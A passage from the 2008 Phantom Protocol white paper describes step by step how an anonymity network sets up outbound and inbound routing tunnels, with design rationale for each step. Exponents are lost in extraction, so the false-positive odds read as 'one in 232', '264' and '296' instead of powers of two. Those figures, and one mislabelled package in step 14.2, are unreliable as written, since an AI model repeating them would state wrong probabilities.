node to forward this request and establish a routing tunnel inside the routing path leading to . This concludes the explanation of how AP addresses are resolved and used to get in touch with any node of choice within the anonymous network, and we will now move on to describing the full process used for establishing routing tunnels (i.e. new connections) over existing routing paths. = End-point node = Intermediary routing path node = Terminating routing path node (entry/exit node) = Non-involved network node White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 38(68) 7.2.2. Secure Establishment of Routing Tunnels – Low-Level Overview Now that we know all about how routing paths are created by all nodes that want to be anonymous, and also on a higher level how such routing paths and their respective anonymized nodes find and connect to each other by means of their AP addresses, it is time to describe the last crucial step involved in the process of creating anonymized end-to-end connections between two nodes in the anonymized network, namely, the establishment of routing tunnels. As previously described, a routing tunnel is the logical representation of a specific connection going over a specific routing path. It should be thoroughly understood that a routing tunnel does not reach from one anonymized node to another. Rather, it only exists within the bounds of a single routing path, being fully owned and managed by only one anonymized node, i.e. the one that owns the routing path that hosts the tunnel. A full connection between two anonymized nodes in the anonymized network is made up of two such routing tunnels, being connected with a single link between the respective terminating nodes of the tunnels (i.e. one exit node and one entry node). In this section we will present a shorter step-by-step description of the process of securely setting up a routing tunnel over a pre-existing routing path. In the next section we will then be moving on to describing and explaining each of the steps, and their underlying purposes and reasons, more thoroughly. Depending on whether the tunnel is an inbound tunnel (i.e. initiated by the entry node of a routing path, in response to an incoming connection from a third-party) or an outbound tunnel (i.e. initiated by the anonymized node that owns the routing path, as a result of this node wanting to create a connection to another AP address in the anonymous network), the process will be internally different. Seen from the outside, or even from the viewpoint of all intermediary nodes in the affected routing path, however, the process is seemingly identical and symmetrical, which is an important property further aiding the anonymity and zero-knowledge of the system, as will be further described below. Outbound Routing Tunnel Setup Procedure That being said, here follows the procedure for securely setting up an outbound routing tunnel over a pre-existing routing path, followed by the procedure to set up its inbound counterpart. 1. The anonymized node owning the outbound routing path (i.e. exit path) wants to establish a connection to another node in the anonymous network. 2. The anonymized node generates a dummy random data package, having the size of a single symmetric crypto block (i.e. 128 bits or more), and sends this package off through the pre- existing connection to the next intermediate node in the routing path. 3. Each subsequent node in the routing path then performs the following sub-procedure: 3.1. The node randomly selects one of the stream encryption keys from its local set of such, generated previously in step 11.13 of the routing path creation process. 3.2. The node encrypts the dummy package (at this point already previously encrypted by all preceding nodes in the routing path), as a single block, with the chosen key. 3.3. The node saves the encrypted dummy package in a time limited cache (containing all such recently forwarded dummy packages), together with the encryption key that was chosen for the package, and then sends off the encrypted dummy package to the next intermediate node in the routing path (i.e. its adjacent X-node if using the same nomenclature as during the creation procedure for routing paths) over the already established connection remaining since the routing path setup process. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 39(68) Figure 17. Outbound routing tunnel creation, step 3 4. The exit node receives the dummy package after it has traversed the entire routing path, at this point having been encrypted once by each of its intermediate nodes, with randomly selected keys from each of their individual sets of stream encryption keys. 5. The exit node prepares a special tunnel initialization package, having the size of a single symmetric crypto block (i.e. 128 bits or more), containing the following (just as with all other steps, this will be explained in much more detail in the next section): 5.1. A crypto key initialization block, constructed in such a way that the risk of falsely diagnosing it as a positive in a certain kind of test will be one in 232, or less. 5.2. A checksum of the contents of the package. 6. The exit node encrypts the tunnel initialization package, as a single block, with the previously chosen stream encryption key. 7. The exit node establishes a completely new connection to the previous node in the routing path, i.e. to the same IP address and port used during the original routing path setup procedure, authenticated with the original connection ID used between the nodes in the original routing path setup procedure. A copy of the originally received dummy package is then sent over this connection, immediately followed by the new and encrypted tunnel initialization package. 8. The receiving X-node performs the following sub-procedure, which is then repeated by all subsequent nodes in the routing path: 8.1. The node authenticates the incoming connection by its IP address combined with the given connection ID. 8.2. The node matches the connection to the corresponding previously forwarded dummy package (and thus also to the right encryption key which was chosen during that forwarding procedure, described in step 3 above), by matching the first data block that arrives over the connection against the time limited cache of all such previously forwarded dummy packages. The matching entry is then removed from the cache after the encryption key for the new connection has been stored separately. 8.3. The node decrypts both the first received data block (i.e. the copy of the originally forwarded dummy package) and the second one (i.e. the new tunnel initialization package), using the encryption key derived in the previous step. 8.4. The node establishes a new connection to the previous node in the routing path, i.e. to the same IP address and port used during the original routing path setup procedure, authenticating it in both directions by means of the original connection ID used between the nodes in the original routing path setup procedure, and the previously stored (during the routing path setup procedure) “server-side” SSL certificate for this previous node. 8.5. The node sends the two decrypted data blocks (i.e. the copy of the originally forwarded dummy package and the new tunnel initialization package) over the newly established and authenticated connection, in the same order that they were received. = Anonymized node = Intermediary routing path node = Terminating routing path node (exit node) White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 40(68) Figure 18. Outbound routing tunnel creation, step 8 9. The anonymized node finally receives the tunnel initialization package, after it has traversed the entire routing path, at this point “decrypted” (in the present circumstances effectively working rather as an encryption, but the terms are important here) once by each of its intermediate nodes, with randomly selected keys from each of their individual sets of keys, which are known by the anonymized node (since it created the seeds and parameters for generating these keys, and can thus duplicate this process locally). At this point, the separate connection for the routing tunnel has also been successfully established throughout the entire routing path. 10. The anonymized node calculates which exact key out of its known set of keys that each individual node in the routing path has selected for this particular tunnel, i.e. the key that was used by each of them to decrypt the tunnel initialization package. This is done by brute forcing over all keys in all the known sets of keys for each individual node in the routing path. The number of keys in the set of each node can be arranged in a way that this entire operation takes no more than e.g. 0.1 – 0.5 seconds (or any other chosen length of time), during which still a considerable amount of e.g. AES blocks can be processed in memory. The test being performed on the resulting plaintext block to know if a certain brute force attempt was successful is related to the crypto key initialization block, mentioned in step 5.1 above (just as with all other steps, this will be explained in much more detail in the next section). 11. When all the chosen keys of each individual node in the entire routing path have been recovered, a final validation of the checksum in the recovered package is performed, reducing the risk of false positives to one in 264 or less. It should always match under normal circumstances (possible exception conditions will be discussed later). 12. The anonymized node prepares a special tunnel initialization reply package, of the same size as the original tunnel initialization package, containing the following (just as with all other steps, this will be explained in much more detail in the next section): 12.1. The desired AP address and port to create an outbound connection to. 12.2. A secure checksum. 13. The anonymized node encrypts the tunnel initialization reply package with all the individual recovered keys of the routing path nodes, in the appropriate sequence, in such a way that it will be decrypted correctly once it reaches the exit node, and sends it back through the newly created separate connection for the tunnel. 14. The receiving X-node performs the following sub-procedure, which is then repeated by all subsequent nodes in the routing path: 14.1. The node decrypts the (at this point already previously decrypted by all preceding nodes in the routing path) tunnel initialization reply package, with the previously chosen key for the connection, as a single block. = Anonymized node = Intermediary routing path node = Terminating routing path node (exit node) White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 41(68) 14.2. The node sends off the decrypted dummy package to the next intermediate node in the routing path, over the newly created separate connection for the tunnel. 15. The exit node finally receives the tunnel initialization reply package, after it has traversed the entire routing path, at this point being decrypted into the plaintext state in which it was created by the anonymized node at the other end of the routing path. It verifies the checksum, and then immediately attempts to create an outgoing connection to the stated AP address and port. Figure 19. Outbound routing tunnel creation, step 15 16. If the external connection attempt does not succeed, the exit node simply closes down the newly created connection for the tunnel, which will cause a chain reaction closing down all the parts of the connection, all the way back to the anonymized node, which at this point will know that the connection attempt failed. If the external connection attempt does succeed, the exit node sends a dummy data package, having the same size as the tunnel initialization package and containing only random data, back through the newly established connection. Similar to the tunnel initialization package, it will be encrypted by each node with the established key for the connection, and eventually reach the anonymized node, which will then know that the connection has succeeded, and be able to start using it immediately. At this point, the routing tunnel creation is complete and the application layer on each side of the connection is notified of this, and can thus start communicating arbitrary data over the connection, equivalent to a TCP connection. Figure 20. Outbound routing tunnel creation, completed = Anonymized node = Intermediary routing path node = Terminating routing path node (exit node) = Anonymized node = Intermediary routing path node = Terminating routing path node (exit node) White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 42(68) Inbound Routing Tunnel Setup Procedure Having just described the procedure for securely setting up an outbound routing tunnel, here follows the procedure for securely setting up an inbound routing tunnel over a pre-existing routing path: 1. The entry node of the inbound routing path (i.e. entry path) receives a connection establishment request from another node in the anonymous network. Figure 21. Inbound routing tunnel creation, step 1 2. The entry node prepares a special tunnel initialization package, having the same size as the initial dummy package in the outbound routing tunnel creation procedure described above, i.e. the size of a single symmetric crypto block (128 bits or more), containing the following (just as with all other steps, this will be explained in much more detail in the next section): 2.1. A crypto key initialization block, constructed in a way that the risk of falsely diagnosing it as a positive in a certain kind of test will be one in 232, or less. 2.2. The IP address of the connecting node (Note: remember that this is only the IP address of the node that directly connects to the entry node, i.e. if the node that initiated this connection is anonymized by means of an exit path, this will only be the IP address of the exit node of this exit path, thus not revealing any sensitive information regarding the identity of the remote anonymized node). 2.3. The AP address of the anonymized node to which the connecting node intends to create a connection. 3. The entry node performs the following sub-procedure, which is then repeated by all subsequent nodes in the routing path: 3.1. The node randomly selects one of the stream encryption keys from its local set of such keys, which it generated previously in step 11.13 of the routing path creation process. 3.2. The node encrypts the tunnel initialization package (at this point already previously encrypted by all preceding nodes in the routing path, except of course for the entry node, which doesn’t have any preceding nodes and was the one to prepare the package to begin with), as a single block, with the chosen key. 3.3. The node saves the encrypted tunnel initialization package in a time limited cache (containing all such recently forwarded tunnel initialization packages), together with the encryption key that was chosen for the package, and then sends off the encrypted tunnel initialization package to the next intermediate node in the routing path (i.e. its adjacent X-node, if using the same nomenclature as during the creation procedure for routing paths) over the already established connection remaining since the routing path setup process. = Anonymized node = Intermediary routing path node = Terminating routing path node (entry node) White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 43(68) Figure 22. Inbound routing tunnel creation, step 3 4. The anonymized node that owns the routing path receives the tunnel initialization package after it has traversed the entire routing path, at this point being encrypted once by each of its intermediate nodes, with randomly selected keys from each of their individual sets of stream encryption keys, which are known by the anonymized node (since it created the seeds and parameters for generating these keys, and can thus duplicate this process locally). 5. The anonymized node calculates which exact key out of its known set of keys that each individual node in the routing path has selected for this particular tunnel, i.e. the key that was used by each of them to encrypt the tunnel initialization package. This is done by brute forcing over all keys in all the known sets of keys for each individual node in the routing path. The number of keys in the set of each node can be arranged in a way that this entire operation takes no more than e.g. 0.1 – 0.5 seconds (or any other chosen length of time), during which, nevertheless, a considerable amount of e.g. AES blocks can be processed in memory. The test that is performed on the resulting plaintext block to know if a certain brute force attempt was successful is related to the crypto key initialization block, mentioned in step 2.1 above (just as with all other steps, this will be explained in much more detail in the next section). 6. When all the chosen keys of each individual node in the entire routing path have been recovered, a final validation of the target AP address of the connection is performed, to confirm that it was indeed intended for the actual AP address that the anonymized node has registered. In addition, this can be seen as an extension to the brute force key recovery procedure in the previous step, which reduces the risk of false positives to one in 264. Under normal circumstances, the AP address should always match (possible exception conditions will be discussed later). 7. The anonymized node prepares a special tunnel initialization reply package, of the same size as the original tunnel initialization package, containing the following (just as with all other steps, this will be explained in much more detail in the next section): 7.1. A flag block, containing multiple flags for communication of exceptional circumstances from the anonymized node to the entry node. 7.2. A secure checksum. 8. The anonymized node encrypts the tunnel initialization reply package with all the individual keys of the routing path nodes, in the appropriate sequence, in such a way that it will be decrypted correctly once it reaches the entry node. 9. The anonymized node establishes a completely new connection to the previous node in the routing path, i.e. to the same IP address and port used during the original routing path setup procedure, authenticated with the original connection ID used between the nodes in the original routing path setup procedure. A copy of the originally received tunnel initialization package is then sent over this connection, immediately followed by the new and repeatedly encrypted tunnel initialization reply package. = Anonymized node = Intermediary routing path node = Terminating routing path node (entry node) White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 44(68) 10. The receiving X-node performs the following sub-procedure, which is then repeated by all subsequent nodes in the routing path: 10.1. The node authenticates the incoming connection by its IP address combined with the given connection ID. 10.2. The node matches the connection to the corresponding previously forwarded tunnel initialization package (and thus also the correct encryption key which was chosen during that forwarding procedure, described in step 3 above), by matching the first data block that arrives over the connection against the time limited cache of all such previously forwarded tunnel initialization packages. The matching entry is then removed from the cache after the encryption key for the new connection has been stored separately. 10.3. The node decrypts both the first received data block (i.e. the copy of the originally forwarded tunnel initialization package) and the second one (i.e. the new tunnel initialization reply package), using the encryption key derived in the previous step. 10.4. The node establishes a new connection to the previous node in the routing path, i.e. to the same IP address and port used during the original routing path setup procedure, and authenticates it in both directions by means of the original connection ID used between the nodes in the original routing path setup procedure, and the previously stored (during the routing path setup procedure) “server-side” SSL certificate for this previous node. 10.5. The node sends the two decrypted data blocks (i.e. the copy of the originally forwarded tunnel initialization package, and the new tunnel initialization reply package) over the newly established and authenticated connection, in the same order that they were received. Figure 23. Inbound routing tunnel creation, step 10 11. The entry node finally receives the tunnel initialization reply package, after it has traversed the entire routing path, at this point being decrypted into the plaintext state in which it was created by the anonymized node in the other end of the routing path. The flags of the package can now be interpreted by the entry node, and under normal circumstances everything should be ok, and the routing tunnel has now been successfully established throughout the entire routing path. 12. The entry node notifies the external node that submitted the original connection establishment request that the tunnel has been set up and is ready for communication (the nature of this communication will be described in the section regarding secure communication over routing tunnels, below). = Anonymized node = Intermediary routing path node = Terminating routing path node (entry node) White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 45(68) Figure 24. Inbound routing tunnel creation, completed 13. This last step is completely unnecessary for the functionality of this procedure. It is only implemented in order to make the inbound routing tunnel setup process identical and symmetrical to the outbound routing tunnel setup process, in regards to any external observers or even any intermediary node in the routing path. The entry node sends a dummy data package, having the same size as the tunnel initialization package and containing only random data, back through the newly established connection. Equivalent to the matching step of the outbound tunnel establishment procedure (step 14), it will be decrypted by each node with its established key for the connection, and eventually reach the anonymized node, which will just discard it and send a new random package of the same size back through the connection. Equivalent to the matching step of the outbound tunnel establishment procedure (step 16), it will be encrypted by each node with its established key for the connection, and eventually reach the entry node, which will then discard it. At this point, the inbound routing tunnel creation is complete and the application layer on each side of the connection is notified of this, and can thus start communicating arbitrary data over the connection, equivalent to a TCP connection. Again, these two different procedures described above, for creation of inbound and outbound routing tunnels, are completely identical and symmetrical to any external parties. This holds true both in regards to any external eavesdropper monitoring all traffic for all the nodes in the entire routing path except the anonymized node itself and the terminating node, and also even for the intermediate X-nodes themselves, being the actual nodes constituting the tunnel. Thus, neither of these parties will be able to conclude any information about what kind of routing tunnel is being created (i.e. an inbound or outbound tunnel), or at which side of the routing path the anonymized node that owns it is located. This is, of course, yet another measure to improve the anonymity of the end-point nodes. = Anonymized node = Intermediary routing path node = Terminating routing path node (entry node) White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 46(68) 7.2.3. Secure Establishment of Routing Tunnels – Low-Level Details In this section, all the steps from the previous section (i.e. the “low level overview”) will be repeated again, in grey and without the figures, and comments will be added (in normal black) to further explain the design decisions behind each step, where necessary. Outbound Routing Tunnel Setup Procedure 1. The anonymized node owning the outbound routing path (i.e. exit path) wants to establish a connection to another node in the anonymous network. 2. The anonymized node generates a dummy random data package, having the size of a single symmetric crypto block (i.e. 128 bits or more), and sends this package off through the pre- existing connection to the next intermediate node in the routing path. Using the size of a single crypto block is good for preventing an attacker from piggy-backing data with the block as it is being forwarded through the tunnel. In the case of a single symmetric crypto block, the entire plaintext contents of it will become completely corrupted if only a single bit of it is altered by any node in the routing path. 3. Each subsequent node in the routing path then performs the following sub-procedure: 3.1. The node randomly selects one of the stream encryption keys from its local set of such, which it generated previously in step 11.13 of the routing path creation process. 3.2. The node encrypts the (at this point already previously encrypted by all preceding nodes in the routing path) dummy package with the chosen key, as a single block. 3.3. The node saves the encrypted dummy package in a time limited cache (containing all such recently forwarded dummy packages), together with the encryption key that was chosen for the package, and then sends off the encrypted dummy package to the next intermediate node in the routing path (i.e. its adjacent X-node if using the same nomenclature as during the creation procedure for routing paths) over the already established connection remaining since the routing path setup process. 4. The exit node receives the dummy package after it has traversed the entire routing path, at this point being encrypted once by each of its intermediate nodes, with randomly selected keys from each of their individual sets of stream encryption keys. 5. The exit node prepares a special tunnel initialization package, having the size of a single symmetric crypto block (i.e. 128 bits or more), containing the following (just as with all other steps, this will be explained in much more detail in the next section): 5.1. A crypto key initialization block, constructed in such a way that the risk of falsely diagnosing it as a positive in a certain kind of test will be one in 232, or less. 5.2. A checksum of the contents of the package. The crypto key initialization block could be anything that enables it to be tested really quickly and efficiently for internal consistency of some kind. One very simple example is to have two 32-bit blocks containing the exact same data (any random number). Thus, the test for internal consistency could be performed simply by comparing the two to see if they are equal or not. The probability of a random 64-bit crypto key initialization block passing this test would be one in 232, and the extra checksum in the tunnel initialization package will make sure to decrease the probability of false positives to one in 296. The extra checksum test will practically never have to be used in the primary quick consistency test though, only in the cases where a false positive passes the primary test, which will be too infrequently to affect the testing speed anyway. This assures very high consistency test speeds (which will be important in a later step), while still not increasing the probability of false positives as a trade-off. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 47(68) 6. The exit node encrypts the tunnel initialization package with the previously chosen stream encryption key, as a single block. 7. The exit node establishes a completely new connection to the previous node in the routing path, i.e. to the same IP address and port used during the original routing path setup procedure, authenticated with the original connection ID used between the nodes in the original routing path setup procedure. A copy of the originally received dummy package is then sent over this connection, immediately followed by the new and encrypted tunnel initialization package. 8. The receiving X-node performs the following sub-procedure, which is then repeated by all subsequent nodes in the routing path: 8.1. The node authenticates the incoming connection by its IP address combined with the given connection ID. 8.2. The node matches the connection to the corresponding previously forwarded dummy package (and thus also to the right encryption key which was chosen during that forwarding procedure, described in step 3 above), by matching the first data block that arrives over the connection against the time limited cache of all such previously forwarded dummy packages. The matching entry is then removed from the cache after the encryption key for the new connection has been stored separately. 8.3. The node decrypts both the first received data block (i.e. the copy of the originally forwarded dummy package) and the second one (i.e. the new tunnel initialization package), using the encryption key derived in the previous step. 8.4. The node establishes a new connection to the previous node in the routing path, i.e. to the same IP address and port used during the original routing path setup procedure, authenticating it in both directions by means of the original connection ID used between the nodes in the original routing path setup procedure, and the previously stored (during the routing path setup procedure) “server-side” SSL certificate for this previous node. 8.5. The node sends the two decrypted data blocks (i.e. the copy of the originally forwarded dummy package and the new tunnel initialization package) over the newly established and authenticated connection, in the same order that they were received. 9. The anonymized node finally receives the tunnel initialization package, after it has traversed the entire routing path, at this point “decrypted” (in the situation at hand effectively working rather as an encryption, but the terms are important here) once by each of its intermediate nodes, with randomly selected keys from each of their individual sets of keys, which are known by the anonymized node (since it created the seeds and parameters for generating these keys, and can thus duplicate this process locally). At this point, the separate connection for the routing tunnel has also been successfully established throughout the entire routing path. 10. The anonymized node calculates which exact key out of its known set of keys that each individual node in the routing path has selected for this particular tunnel, i.e. the key that was used by each of them to decrypt the tunnel initialization package. This is done by brute forcing over all keys in all the known sets of keys for each individual node in the routing path. The number of keys in the set of each node can be arranged in a way that this entire operation takes no more than e.g. 0.1 – 0.5 seconds (or any other chosen length of time), during which still a considerable amount of e.g. AES blocks can be processed in memory. The test being performed on the resulting plaintext block to know if a certain brute force attempt was successful is related to the crypto key initialization block, mentioned in step 5.1 above (just as with all other steps, this will be explained in much more detail in the next section). First of all, a few words about why different keys need to be used to begin with. Why can’t each node just have a single secret symmetrical key, instead of randomly selecting one from a pre- White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 48(68) defined set? The reason is that we don’t want the nodes in the path to be able to communicate with each other through “covert channels”, i.e. using parts of the protocol as a means of encoded communication. The multiple keys prevent non-adjacent nodes from being able to communicate with each other through repeated requests for new tunnels, and indirectly through the data contained in the tunnel initialization packages of these. Using multiple keys chosen individually by the each node during the establishment of each tunnel, there are no means for a node in the path to deterministically influence the encrypted form of the tunnel initialization package coming out of its adjacent node, and even less the remaining nodes. So, let’s talk some more about the test through which the anonymized node can determine the randomly selected keys (from the predefined sets) for each nodes. To visualize this test, it can be seen as a number of nested for-loops (the number of loops being equal to the number of nodes in the routing path), where each for-loop iterates through the entire pre-defined set of keys for its corresponding node in the routing path, and the innermost loop performs the final consistency test on the crypto key initialization block. If there were to be, let’s say, four nodes in a particular routing path, and they would have respectively 10, 50, 100 and 200 keys in their individual sets, this would result in a maximum of 4 * (10 * 50 * 100 * 200) = 40,000,000 block encryption tests (where the factor 4 comes from the fact that for each tested combination, one block encryption needs to be performed for each node in the path, which in this case is four nodes). Regardless of whether this is a reasonable number or not, the number of keys in the node key sets will always be automatically adjusted by the anonymized node itself to make sure that the operation always completes in a reasonable amount of time on its hardware, e.g. 0.1 – 0.5 seconds. Also, with the ongoing and upcoming mainstream deployment of massively parallel (multi core) processors, such an operation shouldn’t practically have to pose any noticeable delay at all. The main concept of this method is that any attacker (e.g. any of the intermediary nodes in the path) would rather have to crack at least the equivalence of one full 128-bit key for each of the nodes in the path in order to get hold of the used keys, an exercise which is not feasible at all (as long as the symmetrical algorithm used, e.g. AES, isn’t itself cracked, of course, but even in that event it could be easily replaced too). 11. When all the chosen keys of each individual node in the entire routing path have been recovered, a final validation of the checksum in the recovered package is performed, reducing the risk of false positives to one in 264 or less. It should always match under normal circumstances (possible exception conditions will be discussed later). 12. The anonymized node prepares a special tunnel initialization reply package, of the same size as the original tunnel initialization package, containing the following (just as with all other steps, this will be explained in much more detail in the next section): 12.1. The desired AP address and port to create an outbound connection to. 12.2. A secure checksum. Just as with the dummy random data package, discussed in step 2 above, using the size of a single crypto block is good for preventing an attacker from piggy-backing data with the block as it is being forwarded through the tunnel. In the case of a single symmetric crypto block, the entire plaintext contents of it will become completely corrupted if only a single bit of it is altered by any node in the routing path, which will also be immediately discovered by use of the internal checksum when it reaches the exit node. 13. The anonymized node encrypts the tunnel initialization reply package with all the individual recovered keys of the routing path nodes, in the appropriate sequence, in such a way that it will be decrypted correctly once it reaches the exit node, and sends it back through the newly created separate connection for the tunnel. 14. The receiving X-node performs the following sub-procedure, which is then repeated by all subsequent nodes in the routing path: White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 49(68) 14.1. The node decrypts the (at this point already previously decrypted by all preceding nodes in the routing path) tunnel initialization reply package, with the previously chosen key for the connection, as a single block. 14.2. The node sends off the decrypted dummy package to the next intermediate node in the routing path, over the newly created separate connection for the tunnel. 15. The exit node finally receives the tunnel initialization reply package, after it has traversed the entire routing path, at this point being decrypted into the plaintext state in which it was created by the anonymized node in the other end of the routing path. It verifies the checksum, and then immediately attempts to create an outgoing connection to the stated AP address and port. 16. If the external connection attempt does not succeed, the exit node simply closes down the newly created connection for the tunnel, which will cause a chain reaction closing down all the parts of the connection, all the way back to the anonymized node, which at this point will know that the connection attempt failed. If the external connection attempt does succeed, the exit node sends a dummy data package, having the same size as the tunnel initialization package and containing only random data, back through the newly established connection. Similar to the tunnel initialization package, it will be encrypted by each node with the established key for the connection, and eventually reach the anonymized node, which will then know that the connection has succeeded, and be able to start using it immediately. At this point, the routing tunnel creation is complete and the application layer on each side of the connection is notified of this, and can thus start communicating arbitrary data over the connection, equivalent to a TCP connection. Inbound Routing Tunnel Setup Procedure 1. The entry node of the inbound routing path (i.e. entry path) receives a connection establishment request from another node in the anonymous network. 2. The entry node prepares a special tunnel initialization package, having the same size as the initial dummy package in the outbound routing tunnel creation procedure described above, i.e. the size of a single symmetric crypto block (128 bits or more), containing the following (just as with all other steps, this will be explained in much more detail in the next section): 2.1. A crypto key initialization block, constructed in a way that the risk of falsely diagnosing it as a positive in a certain kind of test will be one in 232, or less. 2.2. The IP address of the connecting node (Note: remember that this is only the IP address of the node that directly connects to the entry node, i.e. if the node that initiated this connection is anonymized by means of an exit path, this will only be the IP address of the exit node of this exit path, thus not revealing any sensitive information in regards to the identity of the remote anonymized node). 2.3. The AP address of the anonymized node that the connecting node intends to create a connection to by means of this connection. The crypto key initialization block is constructed in exactly the same way as described in the comment for step 5 in the outbound routing tunnel setup procedure above. Instead of an extra checksum however, the false positive rate for the consistency test can be reduced to at least one in 264 by validating that the stated AP address matches the AP address of the anonymized node. Just as with the data packages discussed in the outbound routing tunnel setup procedure above, using the size of a single crypto block is good for preventing an attacker from piggy-backing data with the block as it is being forwarded through the tunnel. 3. The entry node performs the following sub-procedure, which is then repeated by all subsequent nodes in the routing path: White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 50(68) 3.1. The node randomly selects one of the stream encryption keys from its local set of such keys, which it generated previously in step 11.13 of the routing path creation process. 3.2. The node encrypts the (at this point already previously encrypted by all preceding nodes in the routing path, except of course for the entry node, which doesn’t have any preceding nodes and was the one to prepare the package to begin with) tunnel initialization package with the chosen key, as a single block. 3.3. The node saves the encrypted tunnel initialization package in a time limited cache (containing all such recently forwarded tunnel initialization packages), together with the encryption key that was chosen for the package, and then sends off the encrypted tunnel initialization package to the next intermediate node in the routing path (i.e. its adjacent X-node if using the same nomenclature as during the creation procedure for routing paths) over the already established connection remaining since the routing path setup process. 4. The anonymized node that owns the routing path receives the tunnel initialization package after it has traversed the entire routing path, at this point being encrypted once by each of its intermediate nodes, with randomly selected keys from each of their individual sets of stream encryption keys, which are known by the anonymized node (since it created the seeds and parameters for generating these keys, and can thus duplicate this process locally). 5. The anonymized node calculates which exact key out of its known set of keys that each individual node in the routing path has selected for this particular tunnel, i.e. the key that was used by each of them to encrypt the tunnel initialization package. This is done by brute forcing over all keys in all the known sets of keys for each individual node in the routing path. The number of keys in the set of each node can be arranged in a way that this entire operation takes no more than e.g. 0.1 – 0.5 seconds (or any other chosen length of time), during which still a considerable amount of e.g. AES blocks can be processed in memory. The test that is performed on the resulting plaintext block to know if a certain brute force attempt was successful is related to the crypto key initialization block, mentioned in step 2.1 above (just as with all other steps, this will be explained in much more detail in the next section). This key derivation procedure is performed in the exact same way as described in the comment for step 10 in the outbound routing tunnel setup procedure above. 6. When all the chosen keys of each individual node in the entire routing path have been recovered, a final validation of the target AP address of the connection is performed, to confirm that it was indeed intended for the actual AP address that the anonymized node has registered. In addition, this can be seen as an extension to the brute force key recovery procedure in the previous step, which reduces the risk of false positives to one in 264. The AP address should always match under normal circumstances (possible exception conditions will be discussed later). 7. The anonymized node prepares a special tunnel initialization reply package, of the same size as the original tunnel initialization package, containing the following (just as with all other steps, this will be explained in much more detail in the next section): 7.1. A flag block, containing multiple flags for communication of exceptional circumstances from the anonymized node to the entry node. 7.2. A secure checksum. 8. The anonymized node encrypts the tunnel initialization reply package with all the individual keys of the routing path nodes, in the appropriate sequence, in such a way that it will be decrypted correctly once it reaches the entry node. 9. The anonymized node establishes a completely new connection to the previous node in the routing path, i.e. to the same IP address and port used during the original routing path setup procedure, authenticated with the original connection ID used between the nodes in the White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 51(68) original routing path setup procedure. A copy of the originally received tunnel initialization package is then sent over this connection, immediately followed by the new and repeatedly encrypted tunnel initialization reply package. 10. The receiving X-node performs the following sub-procedure, which is then repeated by all subsequent nodes in the routing path: 10.1. The node authenticates the incoming connection by its IP address combined with the given connection ID. 10.2. The node matches the connection to the corresponding previously forwarded tunnel initialization package (and thus also the right encryption key which was chosen during that forwarding procedure, described in step 3 above), by matching the first data block that arrives over the connection against the time limited cache of all such previously forwarded tunnel initialization packages. The matching entry is then removed from the cache after the encryption key for the new connection has been stored separately. 10.3. The node decrypts both the first received data block (i.e. the copy of the originally forwarded tunnel initialization package) and the second one (i.e. the new tunnel initialization reply package), using the encryption key derived in the previous step. 10.4. The node establishes a new connection to the previous node in the routing path, i.e. to the same IP address and port used during the original routing path setup procedure, and authenticates it in both directions by means of the original connection ID used between the nodes in the original routing path setup procedure, and the previously stored (during the routing path setup procedure) “server-side” SSL certificate for this previous node. 10.5. The node sends the two decrypted data blocks (i.e. the copy of the originally forwarded tunnel initialization package, and the new tunnel initialization reply package) over the newly established and authenticated connection, in the same order that they were received. 11. The entry node finally receives the tunnel initialization reply package, after it has traversed the entire routing path, at this point being decrypted into the plaintext state in which it was created by the anonymized node in the other end of the routing path. The flags of the package can now be interpreted by the entry node, and under normal circumstances everything should be ok, and the routing tunnel has now been successfully established throughout the entire routing path. 12. The entry node notifies the external node that submitted the original connection establishment request that the tunnel has been set up and is ready for communication (the nature of this communication will be described in the section regarding secure communication over routing tunnels, below). 13. This last step is completely unnecessary for the functionality of this procedure. It is only implemented in order to make the inbound routing tunnel setup process identical and symmetrical to the outbound routing tunnel setup process, in regards to any external observers or even any intermediary node in the routing path. The entry node sends a dummy data package, having the same size as the tunnel initialization package and containing only random data, back through the newly established connection. Equivalent to the matching step of the outbound tunnel establishment procedure (step 14), it will be decrypted by each node with its established key for the connection, and eventually reach the anonymized node, which will just discard it and send a new random package of the same size back through the connection. Equivalent to the matching step of the outbound tunnel establishment procedure (step 16), it will be encrypted by each node with its established key for the connection, and eventually reach the entry node, which will then discard it. At this point, the inbound routing tunnel creation is complete and the application layer on each side of the connection is notified of this, and can thus start communicating arbitrary data over the connection, equivalent to a TCP connection. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 52(68) Again, these two different procedures described above, for creation of inbound and outbound routing tunnels, are completely identical and symmetrical to any external parties. This holds true both in regards to any external eavesdropper monitoring all traffic for all the nodes in the entire routing path except the anonymized node itself and the terminating node, and also even for the intermediate X-nodes themselves, being the actual nodes constituting the tunnel. Thus, neither of these parties will be able to conclude any information about what kind of routing tunnel is being created (i.e. an inbound or outbound tunnel), or on which side of the routing path that the anonymized node that owns it is located. This is, of course, yet another measure to improve the anonymity of the end-point nodes. This concludes the low-level details for the secure establishment of routing tunnels. White Paper: 